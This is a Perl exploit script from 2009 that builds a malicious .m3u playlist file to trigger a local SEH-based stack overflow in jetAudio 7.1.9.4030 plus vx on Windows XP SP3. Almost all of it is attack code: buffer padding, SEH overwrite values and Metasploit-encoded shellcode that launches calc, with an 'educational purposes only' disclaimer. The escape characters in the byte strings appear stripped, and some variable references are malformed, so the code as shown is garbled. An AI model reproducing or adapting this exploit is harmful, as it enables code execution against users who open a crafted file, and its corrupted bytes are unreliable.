# [+] Vulnerability     : jetAudio v 7.1.9.4030 plus vx (.m3u ) Local Stack Overflow 
# [+] Detected by       : HACK4LOVE (http://www.milw0rm.com/exploits/9359)
# [+] Product           : jetAudio
# [+] Versions affected : 7.1.9.4030 plus vx
# [+] -------------------------------------------------------------------------
# [+] Method            : RET - Universal !
# [+] Tested on         : Windows XP SP3 En
# [+] Xploit written by : corelanc0d3r  (corelanc0d3r[at]gmail[dot]com)
# [+] Greetz&Tx to      : Saumil/SK
# [+] -------------------------------------------------------------------------
#                                               MMMMM~.                          
#                                               MMMMM?.                          
#    MMMMMM8.  .=MMMMMMM.. MMMMMMMM, MMMMMMM8.  MMMMM?. MMMMMMM:   MMMMMMMMMM.   
#  MMMMMMMMMM=.MMMMMMMMMMM.MMMMMMMM=MMMMMMMMMM=.MMMMM?7MMMMMMMMMM: MMMMMMMMMMM:  
#  MMMMMIMMMMM+MMMMM$MMMMM=MMMMMD$I8MMMMMIMMMMM~MMMMM?MMMMMZMMMMMI.MMMMMZMMMMM:  
#  MMMMM==7III~MMMMM=MMMMM=MMMMM$. 8MMMMMZ$$$$$~MMMMM?..MMMMMMMMMI.MMMMM+MMMMM:  
#  MMMMM=.     MMMMM=MMMMM=MMMMM7. 8MMMMM?    . MMMMM?NMMMM8MMMMMI.MMMMM+MMMMM:  
#  MMMMM=MMMMM+MMMMM=MMMMM=MMMMM7. 8MMMMM?MMMMM:MMMMM?MMMMMIMMMMMO.MMMMM+MMMMM:  
#  =MMMMMMMMMZ~MMMMMMMMMM8~MMMMM7. .MMMMMMMMMMO:MMMMM?MMMMMMMMMMMMIMMMMM+MMMMM:  
#  .:$MMMMMO7:..+OMMMMMO$=.MMMMM7.  ,IMMMMMMO$~ MMMMM?.?MMMOZMMMMZ~MMMMM+MMMMM:  
#     .,,,..      .,,,,.   .,,,,,     ..,,,..   .,,,,.. .,,...,,,. .,,,,..,,,,.  
#                                                                   eip hunters
# -----------------------------------------------------------------------------
# Script provided 'as is', without any warranty. 
# Use for educational purposes only.
#

my $sploitfile="c0d3rsploit.m3u";

print " [+] Preparing payloadn";

my $header = "http://";
my $junk = "A" x 1017;
my $nseh = "xebx06x90x90";  
my $seh = pack('V',0x01221045); 

# windows/exec - 303 bytes
# http://www.metasploit.com
# Encoder: x86/alpha_upper
# EXITFUNC=seh, CMD=calc
my $shellcode="x89xe1xd9xeexd9x71xf4x58x50x59x49x49x49x49" .
"x43x43x43x43x43x43x51x5ax56x54x58x33x30x56" .
"x58x34x41x50x30x41x33x48x48x30x41x30x30x41" .
"x42x41x41x42x54x41x41x51x32x41x42x32x42x42" .
"x30x42x42x58x50x38x41x43x4ax4ax49x4bx4cx4a" .
"x48x47x34x43x30x45x50x45x50x4cx4bx51x55x47" .
"x4cx4cx4bx43x4cx45x55x42x58x45x51x4ax4fx4c" .
"x4bx50x4fx45x48x4cx4bx51x4fx51x30x43x31x4a" .
"x4bx51x59x4cx4bx50x34x4cx4bx43x31x4ax4ex46" .
"x51x49x50x4cx59x4ex4cx4dx54x49x50x42x54x45" .
"x57x49x51x49x5ax44x4dx43x31x48x42x4ax4bx4c" .
"x34x47x4bx50x54x47x54x45x54x43x45x4bx55x4c" .
"x4bx51x4fx47x54x45x51x4ax4bx45x36x4cx4bx44" .
"x4cx50x4bx4cx4bx51x4fx45x4cx43x31x4ax4bx4c" .
"x4bx45x4cx4cx4bx45x51x4ax4bx4cx49x51x4cx46" .
"x44x44x44x48x43x51x4fx50x31x4ax56x45x30x50" .
"x56x42x44x4cx4bx51x56x50x30x4cx4bx51x50x44" .
"x4cx4cx4bx44x30x45x4cx4ex4dx4cx4bx43x58x45" .
"x58x4bx39x4ax58x4dx53x49x50x42x4ax50x50x43" .
"x58x4ax50x4dx5ax44x44x51x4fx45x38x4ax38x4b" .
"x4ex4cx4ax44x4ex50x57x4bx4fx4dx37x42x43x43" .
"x51x42x4cx42x43x43x30x41x41";


my $footer="E" x (2000-length(junk.nseh.seh.shellcode));

my $payload = $header.$junk.$nseh.$seh.$shellcode.$footer;

print " [+] Writing payload to filen";

open(sploitf,">$sploitfile");
print sploitf $payload;
close(sploitf);
print " [+] Exploit file " . sploitfile . " createdn";
print " [+] Wrote " . length($payload) . " bytesn";

# www.Syue.com [2009-08-05]